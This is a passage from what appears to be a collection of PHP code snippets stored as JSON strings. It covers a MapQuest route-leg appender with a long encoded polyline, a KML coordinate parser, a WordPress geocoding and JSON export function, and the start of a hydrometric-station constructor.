\"}yvwEh_prQFwB??NoK??\\\\iELiDBy@???G?y@@sEAa@??G?kA?E???A`@CrG??BbABlGEnCIjCKnBGnBYjF?xBFvB`@~DRpBNpAFt@H`BDrA@d@C`GAdBGbCAtDAfA?jA?dG?jB?~@?T?xC?`CAbE?~D?pK?`H?~C?vA?`@?L?b@?fA?`D?lC?lC?vA?dB?`H@~K?rHA~B@hH?^?zE?|E?`FBzEH~E@jF?`B?lABnW?|A?fI?|A?nD?|A?zB@jT?xA?h@?xEAjC?rB@bFCxCGdBUvCUhBs@~FWpBa@|CS~AkAhI{@lGS~AGx@[fCeBlM{@nGOpAWxBg@zDoA|JSbCS|BUpFGtCC|D@vD?pBBtLBdI?pBDxL@pKBjHBdBLjI@vEDdQCff@?~A]xb@G|P?tPBd]Gx\\\\E~LA~L?xAArTFfFRhF\\\\`Fb@|EpAtHfB|HhAvDzCzJtIbYjFtPdFhPVz@x@fDj@rDf@fFJ|E?hD?nOBfTAzN@|L?V?tI?rCExBMlCGpEDhBArQ?bA?pHAbI@bICzFAfA@lDClC@vH?jI@`@CvC?rCElBG~G?fTAdRBtL?zJ@t\\\\AlQ?pQ?v_@?|B@|C?jB?`HBrRAvc@@xQ@zPAfd@??^?~a@@??DrALn@tApEVhAPjAFpCJtBBre@lC``CB|B?R|@ds@LtOArS_@lSqAhf@mB`v@YlOSdVD~JP|N|Bfx@Rv`@i@dc@_Ap\\\\IjKGpS@pnA@pc@AtCBte@@|d@?zBKfNq@xJMdAmAdJ}ExR{HpX}HhYsHfXqBtHqEdPwCdLqCnNmA|IkAdKsAhQsBbVoClVqD~VkElVqExTuD`PuO`l@qFfTeGxTgGpU{\\\\ppAeBtIcAhHm@lHYrHGhSF~PApV@|_AHb{BJdZd@j\\\\n@pZZpWBzTObR}@p^[hUIx[D`UA|i@QlQy@db@wAhd@cAv`@UpULtU`@hQd@zODjAzA`h@~@p_@\\\\jT?j\\\\F~N@z`ABrJ?vBFd^Dzi@E~L[|Oq@`LsAbMsJpv@mMjbAoI~m@eAxIeEd\\\\yC~Ts@vJUlJPdIp@tIpA~HnBtItCxHx]rs@lXdj@~GfNrC`G|AvDz@~B|@tCnBdIrArHdAxJ^vGNtHEfFOxGk@zIUpBy@`GsBdMiXndBu@jFgAjKc@rG]bHO`HG|NCt|@AtV?hAAv_@C`NEzwA@nGIdgA?fAAzXQtNOdISlIWvHI~GE`I@pFLdL`@|NPhLD~CHhLGv}CQpY]pVCtM?dIXhWPd[Adu@AdSMvrHOvN[zM_@tIo@zKg@|Fu@hIo@zFuAlKgB~KO`A_Hba@{BfN}CxQqAzIe@tDiAtKaA|M]vGc@pMMpJErHBhVBpe@@lA@~p@?~A@xUCbKB~^ApO@zn@G~lCBfgBA~M@lEAnYBtGCdDBb]BfE?|d@CvDBdFC`HDvT@b`@B~DTdERfBh@rDh@`Cz@pCtB`FzAnCxHrMjM|SvDlFtBdCjAlA\\\\TtE|D|CrCzF~E~@r@rBrBpBhCdAbBfBfD~@fCp@vB\\\\nAZbBj@dEPxBJhCHpHBtSA|V@~A?`PDzHN|JDlBl@zKR~C|@jK~@`L^nGH`EB~FK|GGtAUjEqC`[mA|Nw@hNOjEOzIK|z@?dr@EpMMjdC?xAc@t{D?hSGn]DlIJ`HXbINvCf@tGVlC`A`JtAfJnDxSt@rEvGp_@hEbWv@jE|@bHt@fHb@`Gb@vJTbIHzK@fSAfk@Exo@C~CBzNMdsDRpLXjHj@rIV`Cx@hHb@~CnArHRl@l@dCn@rC|@zCt@dCnBdGnCvHpAdD~@rCfAtC`E~KrGdQnArDbF`NhArCxU|o@lDnJzDdLfAbEp@rCj@vC`@dCd@rD\\\\xDRpCVvFDfD@|EItEeAx\\\\QdFMdFGnECrEBdHLxH^rJZxE`@tFvAvMbAbJl@fF^fDdD`ZrBpQjD`[TxB\\\\fD~AbNbBdLhCjLt@|CtBdHxAlEhDvIjDrHHPfD`GrBdDvGfJvFrH|EfHzEbIpC~FhC|F|@~BvD~KzBrIpAvFx@rEHVz@dFhA|In@zHNbCLpARdETtHF|FE~_B?pU?bB?rUCb]?npAE`KAfj@Cv~A@|IClM@rXA~ZBjENjFN`DRjCp@lG~@bGXpAZzA|@tDfD|KbA|ChEhMhXvy@fAtCzEjLhB|DlEfIvCvExEbHxApBnG|HtI~J`HlIpAxAp@n@fDfEhFfGvBfCfAjAhAxA~DtEp@|@vCfD|InKdAhArAbBdF~FdFfGtAxAnHdJlCrDjEpG~@zApDtGf@hAj@`AzCvGrB~Er@hBzCdJxAzEjCvJ|@~DdAlFbBlKjEp]^pEf@rEdBfMb@vDrBhLhAlFbC~JlAtEdEvLxBvFfDvHzBtElU~c@xCbGzPn\\\\vGzMdBfEv@jBfCnHh@jBx@rChBhHrAhG`AdGdAbId@~D`@nE`@dGZhHNnG@tI@vnB@nTAlo@KbHQfDc@lF_@rDc@zCcApFy@jDwBnI{B`Ie@lBuBrI}@dEm@hDeAfHe@`Ey@~IWtFGnBMdJ@nIFdEBx@FdCNhCl@jIZ`DZlCbAnHx@|DR~@jAnFx@|C|EnOfAxDrBdJ|@dGVnBd@|FPhDLjEDh_@NzqBDvgACtILvlBDbEPbFLdB\\\\`ED`@~@~G\\\\fBl@jCh@rBbCnIrArDxAjDpDnG|A~BjA`B|DtEj@p@pMpMj@h@rD~DtHtHpCvCrJxJb@d@~TtUlMtMz@~@jd@ne@jKnKrDxD`DlDzD|DzAbBrBhCdCnDdAbBzBfEdA~B~@|Bz@`C`AvClAxE^dB`AzEXdBl@rFb@xFNpCFfBDnC?|PAlHBdz@CvK@hKAfb@KfJChJIdFEdHu@dWGtDOjDO|EUvKCzAG~ECrECxE@tIFdHL|G\\\\tKh@hSLrDR~LVjTBrG@xIBxGArODv\\\\?rkB?nSAjAB~GC|GDpFn@xI^`CnAxE`AzC`D|HbBxDpFnLtBlErQpa@bBfEbBxDxLdXz@vBrHjPrQva@pFvLbDjGfCjEzSp\\\\tWha@lDvFzEnHnIdMhBdDnEvIpGhNrBzEfCnFtGdOdChFtCzGrClGnHtPdDfHtg@jiAfAdC|CtF|CnFfHvKhB`CpD`Fn@t@dC~BxNzL`OrLdDfCpYpU|PbNfG`EvChBvC`BtIfEbGlCbA^xAl@zCfAjElAxBp@`Dx@`Dr@jI`BpEv@zGtAtH`Bf]fHvFlArPbD~KbClAVdF~@|RhErBd@tQnDdIjBlGjA~PlDlHdBfFbBxD|A`EhBvDlBjAr@vCjB~EvDhGfF`CdClBtBvClDxCdElDtFxCtFlBbE~ArDlCnHXz@x@jCbBfGfBhIf@pCn@vEp@pEv@lINvBVdEJpDJlF@fHGloBEfJO~rDDzI^bRb@xMj@hLjApPj@xGn@rG~@hI~@rHjAdIfAjHzAdIbBhIlCfLxEnR`ChIzCjJrBvFrB|FlCjHbDtHjL|Vz@rBvJvSpCrG~BzExIzRj@pApHnOxApDrHxOvHnPr@hBhAzBnIxQpDdIpB~EtAhDzBhG~BjH~BbI`BtGdBrH|@vEzA~I~@|FjApJr@rH|@~Kb@bI\\\\jIH|FFbHBpEElJF~bAFvPPtQPxKNfGv@tVd@xMJpAdAzTnArTdAzTPrDtB``@~Ah\\\\x@bXh@nWLjJNxX?bZEzZEh[?hC?vSAnBQveD@zKE|UApV?dACbQK|CS|JSzG_@fJgAbR]hDq@dIgArKyPpxA]xDkA|Og@|J]dIOxEQpNErRN`MRhGx@lRbSfrCr@~Jv@bMJjBnAbVBzBl@rQNjGJnMJvpAA`IBrlABf]Aj\\\\FpcC?fxACjJ?|BCjzGEf}@Bjm@EfrBEft@Bxg@CjqBPr}CIpGMdGItBSzCWzC[xC_@vC[xAo@jF}Mr_AoDbWO`BYzEQbFExCAtCBlDRtGhA`QbBtYz@tMPfDr@tKXhFp@jKjBzXz@`Lb@vGV~DzCda@^zFz@fL^hHJ`EDjJ@dYCve@IxOCv[?buAGzTAhfABdMCfFBj^@`JDvb@Ilc@O~EUnBg@rDgBfLUfDiEzjAgAf[E~B?tBD|BPvD\\\\dFXrBh@rC`AdEfCzJvA|GTxATjCN`DB`A@xGC~cAOfh@GpH?tDCvHBvHAxh@F`UHxHJxQ?jQAzX?l^?pZDnf@Ad}@Uxm@EnYJ~j@LbRBtU?jqACva@BdXC`WAd_@Sh^?z]F|LNnHR~Nb@lVDnNE`IAnn@A`r@N|tBFtYDhy@@bE?tGMlM]fSOhHClCEl_@@xICby@GhF[|G[`EoBvYSzCiD|d@s@zKI|E?~F\\\\fJp@dG^zBh@xCf}@bgEnAlH\\\\xCXzCRzCN|CxKdoCnBvf@|A`_@lAj\\\\|Ab^HdD?dDMvFUdDI|@cBtM_DvSa@bEGbAKxCGrD@hw@@nBNtCR~CPbBp@|EbCvOvCpRt@hFd@~Ej@lHJfKA`DIvFItBOvB[tD{@fHoF|ZgA|GY|CSzDC|ADfEFbCj@xF|@rE`@bBnApDr@dBx@`BxB`Dt@bAvDtD|ErEfFnErFhGlA`BlBtC~DnHxAdDjBfFt@pCxF`Qh@`BbFdPb@rAhCbGfA`CjBhDtAzB~DrFxBpCfL~NtNrR`AlAbNxPdB~BxD`GrBjEz@jBhOd^zNv]hLhXvCfJd@lB~AjIf@rDr@zHXdEPnGClJIrCcAbNaBzOeAbK_Fdd@k@`GqBfYqDbf@a@|FYlGKtEA~ADlGP`Fp@zJd@xDNbAp@xDl@xCz@tDx@pCxBtI~Hf[XpAjAlJl@xFZbN@rNGl[[`G_A|Jg@rDwBtLeBnHw@jDoFpW[tBSdBe@nEMzAMlBSlGIpYD`LGfVEtwDH||@Sv{@?dSRxIf@vJRfChChYdCnWPdCL|BF~BB~B?`CA~BI~B{Czr@u@~OGl@EvAWnEo@hOyCvq@O|BSzBaHdp@sJn_AgS`nBqFli@_UrwBe@|Dw@dFSbAkAjFgA~D{AxEwBlFwDtGu@dAkFrHsOnRkAvAeLdOqAnBoBvCeEdHaDhGuHzO}@nBcL`V{AxDiB`Gc@jBc@rBe@rCc@zD]fDE`AQlEChE?xDJvD\\\\hFjA~KXhChFhf@~@~HxGpm@tGnl@XxBv@xHn@fI^|F`@bLF|DJjJCt}ACdr@Alt@Cx{@@lUEdy@Aje@EzPGpB]fHM|EEdEBjGH~Df@vLDvC?ru@A~{A@lVArS?tkBCva@CrmB@p]GhmBErsFOfH_@lGk@xFIf@}@xFw@|DwAjFuJ`\\\\qPdk@cBnFoEnOkDhLqOxh@qEjOuAfFy@pD]dBy@rFc@rDOfBOlBObDG~AGjD@jx@RhcD@ff@C|g@L~eBJvzBAfh@@bh@FpSHlFHp\\\\FfLJv`@~@||CFnb@?nLFjp@\\\\zvCOvm@Q|jA^lHr@|Er@|Cx@jChAnCbDxFry@zmA~DrGxBpF~AjGn@nFVnF@nEGfyCAd\\\\AlB?fNDfDF~BFfAXbDLtBJrB~Dji@xBfZNrB|B|Zp@tJf@fDd@pBh@nBbApCx@pBnAvBxA|B|AjBp^rd@~IvKxA`Cn@lAnAbDnAzEt@|EVrCL`DFnCB~P?fD@f`@AfB@fPOjNI|FAlD@jTApWLjsA@bHBzPA~K@tCCdL?`JD|i@H`g@?jBCj_@Bvr@@`QFfJBbCDnK@dN@bR?dCCfRArDGrBOnCi@lGmA|REhA?vB?zJ?bC?r\\\\?xBP|RBjAn@xS~@jXFbCR~FJrDD~T?dC?`O@pCBvMAdR??i@rD_@~@[h@??iDfEuBvCc@fAETM`AA^@n@H|@Jd@L\\\\\\\\l@jB`C\\\\XZNXH^FX@ZCTE\\\\Kh@YNQT]z@}A^e@TORKn@Q`@CjABpI~@~Fr@tAJrGBdEAnEAfCRNBjAP|Ad@z@ZhB`ArAz@rO~Jz@t@h@f@`@f@x@lAn@pA^`AV~@XlATzAHbAFtC?zO@bE?vNHhCJrAZtBd@vBlArDx@bClBfF|DtK`EhLbFfNr@dB|BpEfCpErBjC~ApB|AbBlBfBzAnAzFzEbNbLtC~B|JhIvBdBvDfDjH|Ff[fW|InHfIrG`CjBhA~@rPhNxAnAtPdNp\\\\vXlO`M`JrHd]~X|BhBbGrEdGdD|EjCdEtBdStKrHbEdBx@jDxAfEzAhBh@hEdAdFbAlGr@fFp@ho@fIhh@tGziBpUpZvD|SlCx@Fr@BlGAbb@BvU@zQ?dVBzp@D|g@?jO?dg@BzLFhC?|H[lOs@pBW~Bc@rBm@jBw@nDqBhB{AhHwGbA}@pLiLf[aZ|[mZzTgTbD{CfT}RbF_FpDgDxG}Fl@e@xEqDvBgBxB_B|MgKjLwIbLyItQmNnC{BzL_JfEeDrB{AlWgSpFcE`W{RdDoCfBgBna@i`@xeAycAlQqPnBgBtByApCiBxEcC~CoApDkAhEgAdCe@vBYpDYhCMlAEr\\\\IzMCvr@?jMB~fA?baCJhc@B|DFfh@FfBB`v@TvhAVbKCfTo@t`@?zJ?~gABl`A?vb@Cj}ABf~A?~_@?bC@dMAz]B`LG`J[hE]dTkBhGa@~LKzNB|GAjSAr[Fz^BzC?t`@Clp@?hQDxC@`IChEMzBQrCYbBYxXaFjjIm{AdlAmTfGqA|C}@r[cLhc@qOjVsIra@uNhnBoq@dHeCdNyEt_Ak\\\\di@aRjAe@nGuCbDsBnDgCxPmNlDmC`BaAfAk@lCkAdBk@~Bo@jDo@tBS`BIrBEzC@x@BrALbD\\\\tM`BxCX|I`AdBLjDJlRDxp@?p}@FvIBrZ?pLDlJDzCPxK~@hDPz`@DpGArh@@lC@nCC`ACjBOxC_@r@M`EgAxAc@hDwAnEoBzVaLvt@e\\\\jr@e[`j@iV`CcAfBk@|C}@rBc@hDi@dC]nCUjBI~CEvJ@jVCvfAFzOElHF|m@BbSEzP@tJAlQDzS?xl@@`NC~K@pR?t]HtG?`\\\\Hjd@Ifq@C~_A?xBBvDGnCKtAIzDa@rASzAYzA]~DeAfBm@~@_@~DeBlDmBv@e@re@_^fe@w]|JwH|m@wd@pi@ka@fKsH|MgKfSgOfAu@|A}@bB}@fBy@bCeAdDkA`HyBlGmBtHiC|L{DjNsE|g@kPzQeGbJqCtNwE`MgEnxB_s@t|@gYbMaEpr@{TdwAwd@lEkAvDg@vc@[zg@g@|ZWrJGtJDtG\\\\lARrE`AlExAdLtGlCxBnDzEfFdG`GbHz^hd@nKzM`F|FpHrJdTvWbClClEpF`L|LpB|BjHjIxFxFlGlHzHtI~RvU`IxJzAdB`BxAnAz@hAn@`An@zAp@fBn@zBn@lCZ`BJjBDbF@bUSbJAlB@pMMpDBpIb@pRr@nDVnI`@dG@hDItDUpKu@nGk@nKu@nKw@l]uAdO]jk@mA``@Sph@Q`LKvAAlO?vH`@|HdBbIlDfAr@jB~A~DdDjOtTvAnBlS|XxE~GbOhTtE|GnAtBhDpGjD`HlKnOrMjRrIrLfUp\\\\jHtKzChFtd@feA~_@l}@fSle@ls@haBhHzP|FrMbJvOzEbH~D|FzJhNxDlEtBxAdAf@`GfBtEn@p@@lIJpa@?vERpCf@bChAvDlBfCnCdAfAtCdDpGnH`EjFrGlHhExC|AfAdHvCvDlAjBZ`F`@pZNbdA?pWD|e@E`nCLbt@@pGBrZAt_@Qj^@hfAFtsBQbZKxU?fLBbKFne@@xU?|]Frk@Fp_ACvtAAx^AtKCxBCxAAdEEnTDbHFnO?xkAGpLKvFe@vHkBzEwBvFuDvDoDhJaL|HmJlOyRfByBl@u@tBgCdBsApDsAhCUxKB~RDdYGfDCpM?xCAnEB|JEnEOfCWtBY|Cq@pA_@bBm@dIiDnBu@tDkAvBe@`B]`Fq@~DYbAE|ACp{AQvz@?t]?v^Ely@Gh`BCtP?vA@fBDbADfAN~Bd@dB`@jCr@bFlB~B`AbNtFlCbAfA^vDbAlCl@fBVzCXvCTbBHfBDjP@~H?zR?xAGhBMvAQlAQfAWjA[zAg@jAe@dEuBrAq@v@a@nBu@jCs@~Bc@nFa@bMAxLAbCHvCPbKlA~BRnFTlA@~BBzDFvF@|JJfDEzCGvAQnBYfASdAW~Ai@zJwBnEeApD}@tLqC|Bi@hDy@t@QzCe@zD_@rAItEKlB?|C@fOG~a@GzB?hSGpYCpSIbB?xBD|BNxBXjCb@dDZlCLvC@j]GbD?z^IpBIjBSf@IvAMvEw@`AKnBIp\\\\MpDA`ME`GIxJCjBBrGCxGIpX]bEC|B@bE^fBR|B^tCz@v@T`Bn@hAh@vC~A~@n@`CjBjFpEv\\\\xXnCvB`DzCnBtAbB~@rAh@zA\\\\vC^t@Dj@@xBAnBQ`MuAnEe@d[iD~AOlCYxCi@rCm@vBk@t@WlG_C??dAU~Am@`A]xBeAzIyEl@YvB}@t@U`AO|AI??l@RNRLXAvADzA??FrB@|@Cv@UzCIrB??u@pHc@rFIlECvB@fE@p`@?zD@\\\\BzJBnbAAl^DvCFdBLdBr@tEd@lBl@jBt@fB|@`B|ElI|JlQvPd[tIjPrWvg@zDdJjD~HtCjHjDxGbE~G~BpDfB~ChA~AbOdVlCbFvHrNhKbRdDzGfBhE`FbMlBxEdDxHrAnCz@~Ab@x@nB~CbBrCdF`IzEtHbJnMrGfKxEdJhEbIbElIzAnDzE~NnBnF~DdIpEhIbFhI??|\\\\dm@fEfIxBtDbHzMvQv]nAfC`DzFpBxDpDdHzJnRtCtFjBzD|BlE~J`Rt\\\\no@jA~B^~@Xj@fPrVjDhF~BrDbDtDxBzB`CpB~CtBfE`CvFvB~RtGrMlEtDjBlDdCrCdCfCtCdCrDxBzD`CxGrAjEt@xBzC~IjAbFz@vG^vE\\\\pQZxZFz@DhAt@tGvBlLjArG^hBj@|Bf@fBpBjFl@lAnYfj@~IzPrEhJbBxChHhNdc@zy@|Ttb@`GlLtKvS~BrExOzYhGpLbGtLbCdEp@rAtAlCdu@fwAdN`X~h@hdAxPv[~Sr`@|g@vaArF~Jh\\\\xn@vIlPjUlc@`BlCbArAt@|@~@`AhAbAjOjLzWfSfOfLvBpAZNXCtCvAlAr@|AfApDrCtDtC`FpDfCjBnCzBlCpCJ`@j@n@nArAnBbBda@xZxc@x\\\\zi@`b@r[`VvDzBdD|A`NtFnHpCfHtC`KbE|X~KzFxBbm@bVvj@xTxd@zQd^tNjH~CnBv@lBb@`EdBfQ`HdFrBbJnDjChA~ZbMvTvIrb@tPzu@nZryAjl@nyAbl@dzAll@vIlDh^tNdp@rWlTvIfS|HbFrBfO`G`LrEdK`ElVtJnW`KvJbEfK~Df|@t]~n@zVrTtItb@|PdA\\\\bBj@|@XnB`@t@LpCT~DHjIJvCFpEBvAA`DGl@Eb@KdGClE@tEB|BCpA@rBOxANhB?bB?tD@V?f@?L?b@?D?X?t@?`C?rBAjA?b@AZ?T@R@ZFFB^J\\\\`@VD~AfAf@P^Fb@BnC?|ECvEAhE?nE?v@Fj@Jz@Xj@ZXTVV`BvBb@D??\\\\p@`BlBbAdAzUbXdBfBrFdGnArB~CnF|CrF`DlFlAlBrAxAnDtGDd@~EfIhC`E|AxBtAxAvAlAfC~AjCxAnAv@`@\\\\|B|BfArAzRfWtCzDpE|Fn@|@fAlBf@bAl@xA`ExK\\\\x@n@rAvAhCxFxHxJfMvEjGvn@by@fVd[jMtPhQbUnLrOrDpEzElGdRnVjG`IxBrChs@x~@dc@|j@v{@~hAvI`LbLjNjA|Aja@rh@~q@~|@hRlV`q@b|@jF`Hp[pa@jb@hj@hQxTtG|HxE~E~AdBXH~ApBV\\\\hDbEV\\\\X\\\\vCtDdKxMxBtCNb@tBvCxG`KlAlBlHjKn{@lhArUrZjaBhvBzOrSdg@ro@jCpDdm@`w@|NhR~AjBjVj[|G`JnHfJj]~c@dP|StHrJt~@dlAbC|CXXnAhAbBhAxBfArAh@T@zAr@zAx@`Ax@Z^l@x@V^j@nAZbA^|APfBFfB?nHBrBFtAHt@RnAVdA\\\\dAj@hAT\\\\fArAZXhAv@rAp@xFdCvBbAjAx@x@t@j@n@~@lAva@bi@fBhC~C|Et@jAbCvDzF`J~EtGxEfGvCrDtCpDjA|AfAvApCrDvEfGz@fAfCbD`LxNnEzFjGbInPdTrIzKnJzLHXhBdCbEtGvBxC`ItJpDjEdRlUfS`Vzy@rbAbNnPfPlRrp@|w@|Yx]rMjOzVvZ`j@dp@fDpC|CpBfEbBrFrApBd@vCPjCJrmAI~OH`[@bm@IhMBrp@CpKGrAApJBxg@GvRGn]Lrc@Kju@A`VEhUDrl@CZAvTL`V@xd@KvF?bSDfBBvbAGn@?jE?`E?fj@Cx`@AfB?xCLpAPpA\\\\`Bh@`GhBfCp@`Ch@t@Pf@CvJpClEtApEvA`EnAPFnDhA`@LnEtAfAZzAXl@FfAHfA@zIChGAdGAhGGpEA??ArF@xHAzD?~CCxACbAKxBCn@e@xFq@vFcAlFiAxFy@~DuEpTcBtHoGt[If@_FtVe@jBg@|D}@bE_A`IKfDEbFFv`AHxb@A~^FjaAStw@?tJHlf@DhjBChkBE~iB?djB@~X?hjCAhN?f`@Hnw@Czr@GjpAFvL?fg@B~HCvPYhLYjOU|IA~EBbyBBrnBBnLIjJ[jK_Ax]oAve@_F||AgBlp@VtXz@fv@v@ru@r@vd@n@xn@JhO?~_ACrp@Fvu@Fp\\\\Bv~AAdc@AlU@fEDd[BvMJ~G`@~SR|I`@dSj@~YRzTNhQJfLRlUHdJRnUH`IJnJDdBJpBH|@ZjCPbAf@`Cx@rCdAlCbAtBfAjBv@dAnAzA`A`A`T~Q~FbFjHrGrJnItFxE|EjEfDrCdA~@f@b@nAfAtN~LjEvDjPrNfB|AVPR?\\\\XpAhAfHjGlC|BzFbF|DhD|BnB`Ax@f@d@Z`@n@~@r@~A`@lANt@ATJ~@H`B?vB@xF?z@D\\\\@xCAvF?rF?xF?vFAxF?vF?vF?vF?tFA`F?RAdA@~K@vFAjF?nF@j^?pCAjBAjEBd\\\\AvH?hN?rU?rT?rF?|Q?f@?zGKl@?pG?pA?dBCjR?LPlAE~nA@bECfc@?nC?fLA|r@?^?V?|D??K\\\\E^A~^E~{@M~xC?rFEti@?jICxb@???p@Cbe@?lb@Era@AnM@hSIna@Xn}EA`KB`vARv}BAdZFxEPdFVzCZdDd@dDz@dFx@xDhA|DzAnEdBbFpEjMhFtO`Kn[nDlKlNda@la@fkAfSpk@`dAtwCzm@jfBdn@dgBlKnZpg@rxA|Wtu@dCjHfDvJtNda@dA~CpJjXb]xaA`_@bfA|]rbAz_@vgAlDnJjD`Kn@vBrIzZbc@t}Ad@dBbb@d{A`C`Jdo@b}Bxj@tqBjn@|zBfMfd@r\\\\nlAfB`HxBrJbiA|xFdc@|xBvN|s@hAbFpBtHdB`Gb@dBjQho@jJz[rHbXnAzElAfEhg@lhBt@dE~@dGf@jETvDRhF^~PdAtb@f@zT`DbtAb@fQfDpwAnAlf@hClfAd@lTvDv~Ar@jZVtFp@pM|HbyAbPt|CvDxr@nAhVlB|]^jHHnCFtDCdDOpGYlFwTzbC_BjRsMjxAcHpv@{OpfBuJffAg@pGQxFC|FFtETjG^vEd@lEt@rEj@tChAtEhArDbAnC|qAx~CxKpWzQdc@t@fBnB`EpBpDhT`\\\\x{BbiDlRjYhF~H|s@~fAdQxWb\\\\rf@pOtUfSnZjF~H`Ynb@lMnRtJbOlEtG~I~M~AdCh[be@fDrFhAjBbC`FjCfHd@xAxBlGtDvKnGfRdBdF`K~YbGbQrDrKlFtOvI`WpCdIlRlj@tGlRtM|_@zIfWlBxFxAdEdA|Cr@xBZfARx@RnARhBDx@FvABrA?`BAlC?j@?\\\\CnG?D?J@fC@`C?bCA|BAdC?rBFR??P?vC@b@@h@?lA@~@?\\\\?~@?jFB`JQ`GMpBK|AQbAOjB]`B_@zAc@fAc@dAc@h@[bAk@P[\\\\Uf@[lAeA~BcChHqIn@k@pA{@vAo@x@WvPuDdYgGjGuAnCk@pAY~Bg@JCVDxEu@dD]tAGjAB`AFx@LNBxAd@xAt@ZRh@XPJP?zCfB~HxEpGvDxJ~FnC~AfAp@lDtBjAp@h@ZxHnE`DlB~D`Cr@b@JFj@\\\\d@VdBdAh@ZdJpF~BvAbB`AhHjEz@f@B@lAt@hAp@xIhFhWlO~@h@HDLJh@ZJFjYzPlBjA`DlBtGxDfL~G`CtAjp@n`@`@TlVzNfAn@HPrBnAdJfGj^jTt@d@fCpAzEtB~s@nYrEhBf_Ad_@~\\\\`Ntn@zVhEbBxB|@dJpDnKpDpBv@bNjFxEnBpVtJlTzIzw@f[nIhDnIfDrd@vQzIpDzYhLfUdJpLzErLrEnOfG|KrEnBz@pNpF`ZpLfE~Aht@vYtKlEhVlJdI~CjElBzBz@zOxG~Bt@`DpA|CvAzDxBbDzBjA|@pAfAlAjAnArAlArAjAzAvPhUbClDlJ`MdA~A`FtG|P|UjOnSbB`ChDjEn^`g@nFjHlL~OhB`ClAhBvGvIxC`EtB`Dp[tb@pC~Dz@pA~BbErAxCp@hB~@pCj@nBbArE^pB^hCNjAr@lIbAhMHbAv@tIRhCLhA`@xB\\\\xAt@fCDJn@dBTf@hAzBt@jAv@bArA~An@l@rBfBnFjDZTjBhAbFbDvAx@hKxGjAr@rLlH`C~A~PvKdOhJfLlHtBnA|BzAfCxArCfBrQfLjJ`GxBxApIdF`HlEdFdDlDtBzB|AhAn@`_@nUvEzC~MpItBnAlCdBtD`CfNxIvSlMlJbGzCnBpC`B`BjAtBnAnFlDvCbBnHtExE`DxAv@~EbDtEnC|GhExCnB~MpIvKzGxCpBhBdAtAbAP?zK`HrK`HlM`IhCdBfCxApBrAtSlMdM`IvNzIdC`Bj\\\\tS|@l@lN~ItN|I^VjCbBfNrIlAz@lBnAjNtIrEzCrHvEx@l@nS~L`JzFD@hMdIlC~AhG|D`W|OpRxL~GdEfIlF|IlFvClBdIbFhIdF`ElCdKpGpLhH`HnEhDrBlInF`DnBpm@p_@nInFvFrDbV`O`NpIvRvLdAv@~AtAhAhA~@jAjA`BfAnBjAfCl@`Bj@pBt@lDfIzc@zAdJ~F|[|^vqBnHva@L^DXrAnH`ArF~Fp[bs@f|D~DrOxa@hpAl_@fiAlGnUlDtO`[vhCrE|b@pFxd@hp@x}FHl@h@tDh@tC^fB^vAv@nCl@dBl@xAlBrE|P|[tTnb@`J~PzB~DxA|B~ArBf@p@\" \n }\n */\n $distance = $mqResult->{\"route\"}->{\"distance\"};\n if($distance > 0){\n $newLeg = new TripLeg();\n $newLeg->id =$lastid+10;\n $newLeg->distance = $distance;\n $newLeg->startLatLong = $lastLatLong;\n $newLeg->endLatLong = $newLatLong;\n $newLeg->MQencodedPath = $mqResult->{\"route\"}->{\"shape\"}->{\"shapePoints\"};\n\n //echo json_encode($newLeg);\n\n //Push the leg to the end of the $tripPaths->{$trip}\n array_push($tripPaths->{$trip},$newLeg);\n //var_dump($tripPaths);\n\n if($newTripsRoute = fopen($jsonRouteFilePath,\"w\")){\n fwrite($newTripsRoute, json_encode($tripPaths));\n fclose($newTripsRoute);\n $result = TRUE;\n }else{\n //error using fopen.\n $error_msg = \"Could not open file.\";\n $result = FALSE;\n }\n }else{\n //No distance between provided point and last point. Likely the same point was provided.\n $error_msg = \"No distance travelled\";\n $result = FALSE;\n }\n }else{\n $error_msg = \"No MapQuest result given. Could not add Leg to trip.\";\n $result = FALSE;\n }\n if(!empty($error_msg)){echo $error_msg;}\n return $result;\n}", "public static function processaArquivoComCoordenadas() {\n\t\t\n\t\t// salvando arquivo\n\t\t$arr = Upload::get_files();\n\t\tUpload::save(APPPATH.'tmp', array_keys($arr));\n\t\t\t\n\t\t// lendo e processando o arquivo\n\t\t$kml = simplexml_load_file(APPPATH .'tmp/'. $arr[0]['name']);\n\t\t\n\t\t$a = trim($kml->Document->Placemark->Polygon->outerBoundaryIs->LinearRing->coordinates);\n\t\t$b = explode(' ', $a);\n\t\t\n\t\t$saida = array();\n\t\tif (count($b)) {\n\t\t\t\n\t\t\t// remove última coordenada pois é a repetição da primeira\n\t\t\t//unset($b[count($b)-1]);\n\t\t\t\n\t\t\tforeach ($b as $c) {\n\t\t\t\tlist($longitude, $latitude, $altura) = explode(',', $c);\n\t\t\t\t$saida[] = array(\n\t\t\t\t\t\t\t'lon' => $longitude,\n\t\t\t\t\t\t 'lat' => $latitude\n\t\t\t\t\t\t );\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t\t\n\t\t// removendo arquivo\n\t\tFile::delete(APPPATH.'tmp/'. $arr[0]['name']);\n\t\t\n\t\treturn $saida;\n\t\t\n\t}", "function json_post($post_id) {\n // $post = get_post($post_id);\n // $fields = get_fields($post_id);\n $content = array();\n\n //On récupère les lat lng en fonction de l'adresse\n $coords = geocode(get_field('adresse_de_lassociation',$post_id),get_field('ville',$post_id),\"FRANCE\");\n // $fields['latitude'] = $coords['latitude'];\n // $fields['longitude'] = $coords['longitude'];\n\n\n update_field('field_528e0e4107a59', $coords['latitude'], $post_id);\n update_field('field_528e0e5207a5a', $coords['longitude'], $post_id);\n\n\n //array_push($content,$fields);\n\n \n\n $tmp = array();\n foreach(get_posts( array('post_type'=> 'associations')) as $key=>$value){\n $id=$value->ID;\n\n $tmp = get_fields($id);\n $tmp['nom']=get_the_title($id);\n $tmp['permalink']=get_permalink($id);\n $tmp['categories']=wp_get_post_terms($id,'categories');\n $tmp['action_en_cours']=wp_get_post_terms($id,'action_en_cours');\n\n array_push($content, $tmp);\n }\n\n $content = json_encode($content);\n\n $fp = fopen(get_stylesheet_directory().\"/associations.json\",\"wb\");\n fwrite($fp,$content);\n fclose($fp);\n\n}", "function Nuevo() {\n /**\n * Crear instancia de EstacionHidrometrica\n */\n $EstacionHidrometrica = new EstacionHidrometrica();\n /**\n * Colocar los datos del POST por medio de los metodos SET\n */\n $EstacionHidrometrica->setIdEstacion(filter_input(INPUT_GET, 'clave'));\n $EstacionHidrometrica->setNombre(filter_input(INPUT_GET, 'nombre'));\n $EstacionHidrometrica->setCuenca_id(filter_input(INPUT_GET, 'cuenca_id'));\n 